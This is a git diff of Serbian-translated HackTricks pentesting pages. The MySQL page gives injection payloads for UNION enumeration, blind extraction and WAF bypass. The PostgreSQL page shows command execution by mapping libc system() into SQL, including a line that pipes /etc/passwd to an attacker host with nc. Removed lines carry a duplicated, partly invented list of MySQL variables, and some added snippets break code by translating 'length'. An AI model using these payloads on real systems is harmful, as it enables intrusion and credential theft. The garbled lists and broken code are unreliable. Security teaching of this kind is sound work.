* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Komentari
|
||||
## Comments
|
||||
```sql
|
||||
-- MYSQL Comment
|
||||
# MYSQL Comment
|
||||
|
@ -26,9 +29,9 @@
|
|||
/*! MYSQL Special SQL */
|
||||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||||
```
|
||||
## Interesantne funkcije
|
||||
## Zanimljive Funkcije
|
||||
|
||||
### Potvrda Mysql-a:
|
||||
### Potvrdi Mysql:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
|
@ -43,74 +46,6 @@ length(1)
|
|||
count(1)
|
||||
```
|
||||
### Korisne funkcije
|
||||
|
||||
The following functions can be useful when performing MySQL injection:
|
||||
|
||||
Sledeće funkcije mogu biti korisne prilikom izvođenja MySQL ubacivanja:
|
||||
|
||||
- `version()`: Returns the version of the MySQL server.
|
||||
- `database()`: Returns the name of the current database.
|
||||
- `user()`: Returns the username used to connect to the MySQL server.
|
||||
- `current_user()`: Returns the current user.
|
||||
- `schema()`: Returns the name of the current schema.
|
||||
- `@@hostname`: Returns the hostname of the MySQL server.
|
||||
- `@@datadir`: Returns the data directory of the MySQL server.
|
||||
- `@@basedir`: Returns the base directory of the MySQL server.
|
||||
- `@@version_compile_os`: Returns the operating system on which the MySQL server was compiled.
|
||||
- `@@version`: Returns the version and version comment of the MySQL server.
|
||||
- `@@global.version_compile_os`: Returns the operating system on which the MySQL server is running.
|
||||
- `@@global.version`: Returns the version and version comment of the MySQL server.
|
||||
- `@@global.plugin_dir`: Returns the directory where plugins are installed.
|
||||
- `@@global.datadir`: Returns the global data directory.
|
||||
- `@@global.basedir`: Returns the global base directory.
|
||||
- `@@global.character_set_filesystem`: Returns the character set used for file names on the server's file system.
|
||||
- `@@global.character_set_client`: Returns the character set used by the client.
|
||||
- `@@global.character_set_connection`: Returns the character set used for the connection.
|
||||
- `@@global.character_set_results`: Returns the character set used for the result.
|
||||
- `@@global.collation_connection`: Returns the collation used for the connection.
|
||||
- `@@global.collation_server`: Returns the collation used by the server.
|
||||
- `@@global.init_connect`: Returns the value of the `init_connect` system variable.
|
||||
- `@@global.innodb_version`: Returns the version of the InnoDB storage engine.
|
||||
- `@@global.max_allowed_packet`: Returns the value of the `max_allowed_packet` system variable.
|
||||
- `@@global.sql_mode`: Returns the value of the `sql_mode` system variable.
|
||||
- `@@global.time_zone`: Returns the value of the `time_zone` system variable.
|
||||
- `@@global.tx_isolation`: Returns the value of the `tx_isolation` system variable.
|
||||
- `@@global.version_comment`: Returns the version comment of the MySQL server.
|
||||
- `@@global.wait_timeout`: Returns the value of the `wait_timeout` system variable.
|
||||
- `@@global.have_ssl`: Returns `YES` if the server supports SSL, `NO` otherwise.
|
||||
- `@@global.have_compress`: Returns `YES` if the server supports compression, `NO` otherwise.
|
||||
- `@@global.have_crypt`: Returns `YES` if the server supports encryption, `NO` otherwise.
|
||||
- `@@global.have_dynamic_loading`: Returns `YES` if the server supports dynamic loading, `NO` otherwise.
|
||||
- `@@global.have_geometry`: Returns `YES` if the server supports spatial data types, `NO` otherwise.
|
||||
- `@@global.have_innodb`: Returns `YES` if the server supports the InnoDB storage engine, `NO` otherwise.
|
||||
- `@@global.have_ndbcluster`: Returns `YES` if the server supports the NDB storage engine, `NO` otherwise.
|
||||
- `@@global.have_openssl`: Returns `YES` if the server supports OpenSSL, `NO` otherwise.
|
||||
- `@@global.have_partitioning`: Returns `YES` if the server supports partitioning, `NO` otherwise.
|
||||
- `@@global.have_profiling`: Returns `YES` if the server supports profiling, `NO` otherwise.
|
||||
- `@@global.have_query_cache`: Returns `YES` if the server supports the query cache, `NO` otherwise.
|
||||
- `@@global.have_rtree_keys`: Returns `YES` if the server supports R-tree indexes, `NO` otherwise.
|
||||
- `@@global.have_ssl`: Returns `YES` if the server supports SSL, `NO` otherwise.
|
||||
- `@@global.have_symlink`: Returns `YES` if the server supports symbolic links, `NO` otherwise.
|
||||
- `@@global.have_system_time_zone`: Returns `YES` if the server has a system time zone, `NO` otherwise.
|
||||
- `@@global.have_timezone_support`: Returns `YES` if the server supports time zones, `NO` otherwise.
|
||||
- `@@global.have_udf`: Returns `YES` if the server supports user-defined functions, `NO` otherwise.
|
||||
- `@@global.have_utf8mb4`: Returns `YES` if the server supports the utf8mb4 character set, `NO` otherwise.
|
||||
- `@@global.have_xml`: Returns `YES` if the server supports XML, `NO` otherwise.
|
||||
- `@@global.have_zip`: Returns `YES` if the server supports ZIP, `NO` otherwise.
|
||||
- `@@global.have_partitioning`: Returns `YES` if the server supports partitioning, `NO` otherwise.
|
||||
- `@@global.have_profiling`: Returns `YES` if the server supports profiling, `NO` otherwise.
|
||||
- `@@global.have_query_cache`: Returns `YES` if the server supports the query cache, `NO` otherwise.
|
||||
- `@@global.have_rtree_keys`: Returns `YES` if the server supports R-tree indexes, `NO` otherwise.
|
||||
- `@@global.have_ssl`: Returns `YES` if the server supports SSL, `NO` otherwise.
|
||||
- `@@global.have_symlink`: Returns `YES` if the server supports symbolic links, `NO` otherwise.
|
||||
- `@@global.have_system_time_zone`: Returns `YES` if the server has a system time zone, `NO` otherwise.
|
||||
- `@@global.have_timezone_support`: Returns `YES` if the server supports time zones, `NO` otherwise.
|
||||
- `@@global.have_udf`: Returns `YES` if the server supports user-defined functions, `NO` otherwise.
|
||||
- `@@global.have_utf8mb4`: Returns `YES` if the server supports the utf8mb4 character set, `NO` otherwise.
|
||||
- `@@global.have_xml`: Returns `YES` if the server supports XML, `NO` otherwise.
|
||||
- `@@global.have_zip`: Returns `YES` if the server supports ZIP, `NO` otherwise.
|
||||
|
||||
These functions can provide valuable information about the MySQL server, which can be useful during a penetration test or security assessment.
|
||||
```sql
|
||||
SELECT hex(database())
|
||||
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
||||
|
@ -126,59 +61,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
|||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## Sve vrste ubrizgavanja
|
||||
|
||||
### SQL ubrizgavanje u MySQL
|
||||
|
||||
SQL ubrizgavanje je jedna od najčešćih i najopasnijih ranjivosti web aplikacija. Kada se koristi MySQL baza podataka, napadač može iskoristiti ovu ranjivost kako bi izvršio zlonamerni SQL kod na serveru baze podataka.
|
||||
|
||||
#### Ubrizgavanje jednostavnih izjava
|
||||
|
||||
Ubrizgavanje jednostavnih izjava je najosnovniji oblik SQL ubrizgavanja. Napadač može umetnuti zlonamerni SQL kod u unos koji se prosleđuje bazi podataka. Na primer, napadač može umetnuti `' OR '1'='1` u polje za unos korisničkog imena i lozinke kako bi zaobišao proveru autentičnosti.
|
||||
|
||||
#### Ubrizgavanje bazirano na vremenu
|
||||
|
||||
Ubrizgavanje bazirano na vremenu je tehnika koja se koristi kada se ne dobija direktni rezultat ubrizgavanja. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni SQL kod i dobio informacije o bazi podataka na osnovu vremena potrebnog za izvršavanje SQL upita.
|
||||
|
||||
#### Ubrizgavanje bazirano na greškama
|
||||
|
||||
Ubrizgavanje bazirano na greškama je tehnika koja se koristi kada se dobija greška prilikom izvršavanja SQL upita. Napadač može iskoristiti ovu grešku kako bi dobio informacije o bazi podataka ili izvršio zlonamerni SQL kod.
|
||||
|
||||
#### Ubrizgavanje bazirano na uniji
|
||||
|
||||
Ubrizgavanje bazirano na uniji je tehnika koja se koristi kada se koristi SQL upit koji koristi operaciju unije. Napadač može iskoristiti ovu tehniku kako bi dobio informacije o bazi podataka iz drugih tabela.
|
||||
|
||||
#### Ubrizgavanje bazirano na slepoj ubrizgavanju
|
||||
|
||||
Ubrizgavanje bazirano na slepoj ubrizgavanju je tehnika koja se koristi kada se ne dobija direktni rezultat ubrizgavanja i ne dolazi do greške prilikom izvršavanja SQL upita. Napadač može iskoristiti ovu tehniku kako bi dobio informacije o bazi podataka na osnovu uslova koji se ispituju.
|
||||
|
||||
#### Ubrizgavanje bazirano na višestrukim upitima
|
||||
|
||||
Ubrizgavanje bazirano na višestrukim upitima je tehnika koja se koristi kada se izvršava više SQL upita odjednom. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni SQL kod i dobio informacije o bazi podataka.
|
||||
|
||||
#### Ubrizgavanje bazirano na funkcijama
|
||||
|
||||
Ubrizgavanje bazirano na funkcijama je tehnika koja se koristi kada se koriste SQL funkcije. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni SQL kod i dobio informacije o bazi podataka.
|
||||
|
||||
#### Ubrizgavanje bazirano na izvršavanju sistema
|
||||
|
||||
Ubrizgavanje bazirano na izvršavanju sistema je tehnika koja se koristi kada se koristi SQL funkcija koja omogućava izvršavanje sistema. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni kod na serveru baze podataka.
|
||||
|
||||
#### Ubrizgavanje bazirano na izvršavanju datoteka
|
||||
|
||||
Ubrizgavanje bazirano na izvršavanju datoteka je tehnika koja se koristi kada se koristi SQL funkcija koja omogućava izvršavanje datoteka. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni kod na serveru baze podataka.
|
||||
|
||||
#### Ubrizgavanje bazirano na izvršavanju operativnog sistema
|
||||
|
||||
Ubrizgavanje bazirano na izvršavanju operativnog sistema je tehnika koja se koristi kada se koristi SQL funkcija koja omogućava izvršavanje operativnog sistema. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni kod na serveru baze podataka.
|
||||
## Sve injekcije
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
sa [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Tok
|
||||
|
||||
Zapamtite da u "modernim" verzijama **MySQL**-a možete zameniti "_**information\_schema.tables**_" sa "_**mysql.innodb\_table\_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
|
||||
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information\_schema.tables**_" sa "_**mysql.innodb\_table\_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
|
@ -197,15 +88,15 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
|||
|
||||
### **Slepo dodavanje**
|
||||
|
||||
* `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
* `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
* `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
|
||||
* `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
* `LPAD(version(),1...dužina(version()),'1')='asd'...`
|
||||
* `RPAD(version(),1...dužina(version()),'1')='asd'...`
|
||||
* `SELECT RIGHT(version(),1...dužina(version()))='asd'...`
|
||||
* `SELECT LEFT(version(),1...dužina(version()))='asd'...`
|
||||
* `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## Otkrivanje broja kolona
|
||||
|
||||
Koristeći jednostavno ORDER
|
||||
Korišćenje jednostavnog ORDER
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
|
@ -218,42 +109,7 @@ UniOn SeLect 1,2
|
|||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL baziran na Uniji
|
||||
|
||||
### Opis
|
||||
|
||||
MySQL baziran na Uniji je tehnika SQL injekcije koja se koristi za izvlačenje podataka iz baze podataka kroz kombinovanje rezultata više SQL upita. Ova tehnika se koristi kada je ciljna aplikacija podložna SQL injekciji i koristi MySQL bazu podataka.
|
||||
|
||||
### Postupak
|
||||
|
||||
Da biste izvršili MySQL baziran na Uniji, pratite sledeće korake:
|
||||
|
||||
1. Identifikujte tačke injekcije: Pronađite ulazne tačke u ciljnoj aplikaciji gde možete ubaciti SQL kod.
|
||||
2. Utvrdite broj kolona: Koristite `ORDER BY` klauzulu da biste utvrdili broj kolona u rezultatu SQL upita. Povećavajte broj kolona dok ne dobijete grešku ili ispravan rezultat.
|
||||
3. Identifikujte tip podataka: Koristite `UNION SELECT` izraz da biste identifikovali tip podataka u svakoj koloni. Povećavajte broj kolona i pratite greške ili ispravne rezultate kako biste utvrdili tip podataka.
|
||||
4. Izvlačenje podataka: Koristite `UNION SELECT` izraz da biste izvukli podatke iz baze podataka. Možete koristiti funkciju `CONCAT()` da biste kombinovali podatke iz različitih kolona u jedan rezultat.
|
||||
|
||||
### Primer
|
||||
|
||||
Pretpostavimo da imamo sledeći SQL upit u ciljnoj aplikaciji:
|
||||
|
||||
```sql
|
||||
SELECT name, email FROM users WHERE id = '<user_id>'
|
||||
```
|
||||
|
||||
Da bismo izvršili MySQL baziran na Uniji, možemo koristiti sledeći payload:
|
||||
|
||||
```sql
|
||||
' UNION SELECT 1,2 FROM users --
|
||||
```
|
||||
|
||||
Ovaj payload će izvršiti sledeći SQL upit:
|
||||
|
||||
```sql
|
||||
SELECT name, email FROM users WHERE id = '' UNION SELECT 1,2 FROM users --'
|
||||
```
|
||||
|
||||
Kao rezultat, dobićemo kombinovane rezultate iz prvog upita (`SELECT name, email FROM users WHERE id = ''`) i drugog upita (`SELECT 1,2 FROM users`).
|
||||
## MySQL Union Based
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
|
@ -262,48 +118,48 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||
```
|
||||
## SSRF
|
||||
|
||||
**Ovde možete naučiti različite opcije za** [**zloupotrebu Mysql ubacivanja kako biste dobili SSRF**](mysql-ssrf.md)**.**
|
||||
**Naučite ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.**
|
||||
|
||||
## Trikovi za zaobilaženje WAF-a
|
||||
## WAF bypass trikovi
|
||||
|
||||
### Alternative za information\_schema
|
||||
### Alternatives to information\_schema
|
||||
|
||||
Zapamtite da u "modernim" verzijama **MySQL**-a možete zameniti _**information\_schema.tables**_ sa _**mysql.innodb\_table\_stats**_ ili sa _**sys.x$schema\_flattened\_keys**_ ili sa **sys.schema\_table\_statistics**
|
||||
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti _**information\_schema.tables**_ sa _**mysql.innodb\_table\_stats**_ ili sa _**sys.x$schema\_flattened\_keys**_ ili sa **sys.schema\_table\_statistics**
|
||||
|
||||
### MySQL ubacivanje bez ZAREZA
|
||||
### MySQLinjection bez ZAREZA
|
||||
|
||||
Izaberite 2 kolone bez korišćenja zareza ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
Izaberite 2 kolone bez korišćenja bilo kakvog zareza ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### Dobijanje vrednosti bez imena kolone
|
||||
### Preuzimanje vrednosti bez imena kolone
|
||||
|
||||
Ako u nekom trenutku znate ime tabele, ali ne znate ime kolona unutar tabele, možete pokušati da pronađete koliko ima kolona izvršavanjem nečega poput:
|
||||
Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona unutar tabele, možete pokušati da saznate koliko kolona ima izvršavajući nešto poput:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Pretpostavljajući da postoje 2 kolone (pri čemu je prva ID, a druga zastava), možete pokušati brutalno probiti sadržaj zastave pokušavajući karakter po karakter:
|
||||
Pretpostavljajući da postoje 2 kolone (prva je ID, a druga je flag), možete pokušati da bruteforce-ujete sadržaj flaga pokušavajući karakter po karakter:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
Više informacija možete pronaći na [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
Više informacija na [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### Istorija MySQL-a
|
||||
### MySQL istorija
|
||||
|
||||
Možete videti druge izvršavanja unutar MySQL-a čitajući tabelu: **sys.x$statement\_analysis**
|
||||
Možete videti druge izvršenja unutar MySQL-a čitajući tabelu: **sys.x$statement\_analysis**
|
||||
|
||||
### Alternative verzije
|
||||
### Verzija alternativ**e**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## Ostali vodiči za MYSQL ubacivanje
|
||||
## Ostali MYSQL injection vodiči
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## Reference
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
@ -311,18 +167,21 @@ mysql> select version();
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,33 @@
|
|||
# RCE sa PostgreSQL ekstenzijama
|
||||
# RCE sa PostgreSQL Ekstenzijama
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Ekstenzije
|
||||
|
||||
PostgreSQL je razvijen sa proširivosti kao osnovnom karakteristikom, omogućavajući mu da bez problema integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, suštinski biblioteke napisane u C-u, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
|
||||
PostgreSQL je razvijen sa ekstenzibilnošću kao osnovnom karakteristikom, omogućavajući mu da besprekorno integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, u suštini biblioteke napisane u C, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
|
||||
|
||||
Od verzije 8.1 nadalje, postavljen je specifičan zahtev za ekstenzione biblioteke: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, obezbeđujući da se koriste samo kompatibilne i potencijalno bezbedne ekstenzije.
|
||||
Od verzije 8.1 nadalje, postavljen je specifičan zahtev za biblioteke ekstenzija: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, osiguravajući da se koriste samo kompatibilne i potencijalno sigurne ekstenzije.
|
||||
|
||||
Takođe, imajte na umu da **ako ne znate kako da** [**dostavite fajlove žrtvi zloupotrebom PostgreSQL-a, trebalo bi da pročitate ovaj post.**](big-binary-files-upload-postgresql.md)
|
||||
Takođe, imajte na umu da **ako ne znate kako da** [**otpremite fajlove na žrtvu koristeći PostgreSQL, trebali biste pročitati ovaj post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE u Linux-u
|
||||
### RCE u Linuxu
|
||||
|
||||
**Za više informacija proverite: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
Izvršavanje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovaj: [Metasploit modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Izvršenje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovo: [Metasploit modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
|
@ -36,9 +39,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>Napišite binarni fajl iz base64</summary>
|
||||
<summary>Write binary file from base64</summary>
|
||||
|
||||
Za pisanje binarnog fajla u postgresu možda će vam biti potrebno koristiti base64, to će biti korisno za tu svrhu:
|
||||
Da biste napisali binarni fajl u postgres, možda ćete morati da koristite base64, ovo će biti korisno za tu svrhu:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
|
@ -85,13 +88,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
|||
```
|
||||
